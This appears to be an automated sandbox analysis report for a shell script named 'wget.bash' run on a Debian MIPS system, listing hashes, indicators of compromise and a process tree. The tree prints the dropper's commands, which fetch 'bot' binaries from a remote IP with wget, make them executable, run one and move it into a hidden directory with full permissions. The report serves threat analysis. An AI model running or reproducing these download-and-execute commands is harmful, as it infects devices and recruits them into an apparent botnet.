2db0ba4efda0653533e32abca1417cafb84f58322dc8d4df183e64771626b826

Resubmissions

09/08/2022, 18:31

09/08/2022, 18:18

max time network
630s
platform
linux_mips
resource
debian9-mipsbe-en-20211208
resource tags

arch:mipsimage:debian9-mipsbe-en-20211208kernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
09/08/2022, 18:31

Target
wget.bash
Size 2KB
Sample220809-w6eersgaa2
SHA256 2db0ba4efda0653533e32abca1417cafb84f58322dc8d4df183e64771626b826
MD5 9486bdff70b6ec6243b012a91e90c21e
SHA1 2364e70ee0d49e4e641fa7428958f5907a8c26a3
SHA512 e64e2324c403d967d3d04140bb0eba159e57b83db09fdd50e882a8edc595211837505c86c1d44a65d11b9c3a34c0d02496b3c06f264e1175e248397e9716b4bd
MD5 SHA1 SHA512

Score

5^/10

Reads runtime system information 3 IoCs

Reads data from /proc virtual filesystem.

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
/tmp/wget.bash	/tmp/wget.bash	wget.bash

/tmp/wget.bash
/tmp/wget.bash
1⤵
- Writes file to tmp directory
PID:324
- /usr/bin/wget
  wget http://109.206.241.211/bins/bot.mips
  2⤵
  PID:325
- /bin/cat
  cat bot.mips
  2⤵
  PID:327
- /bin/chmod
  chmod +x bot.mips fuwwyowo systemd-private-5734ea4df52c4afdabc78bd11d29746e-systemd-timesyncd.service-Uwjp3M wget.bash
  2⤵
  PID:328
- ./fuwwyowo
  ./fuwwyowo ssh
  2⤵
  PID:329
- /usr/bin/wget
  wget http://109.206.241.211/bins/bot.mpsl
  2⤵
  PID:331

/bin/sh
sh -c "mkdir /sfr7xxdt8a/ && >/sfr7xxdt8a/sfr7xxdt8a && cd /sfr7xxdt8a/ >/dev/null"
1⤵
PID:333
- /bin/mkdir
  mkdir /sfr7xxdt8a/
  2⤵
  - Reads runtime system information
  PID:334

/bin/sh
sh -c "mv /tmp/fuwwyowo /sfr7xxdt8a/sfr7xxdt8a && chmod 777 /sfr7xxdt8a/sfr7xxdt8a >/dev/null"
1⤵
PID:335
- /bin/mv
  mv /tmp/fuwwyowo /sfr7xxdt8a/sfr7xxdt8a
  2⤵
  - Reads runtime system information
  PID:336
- /bin/chmod
  chmod 777 /sfr7xxdt8a/sfr7xxdt8a
  2⤵
  PID:337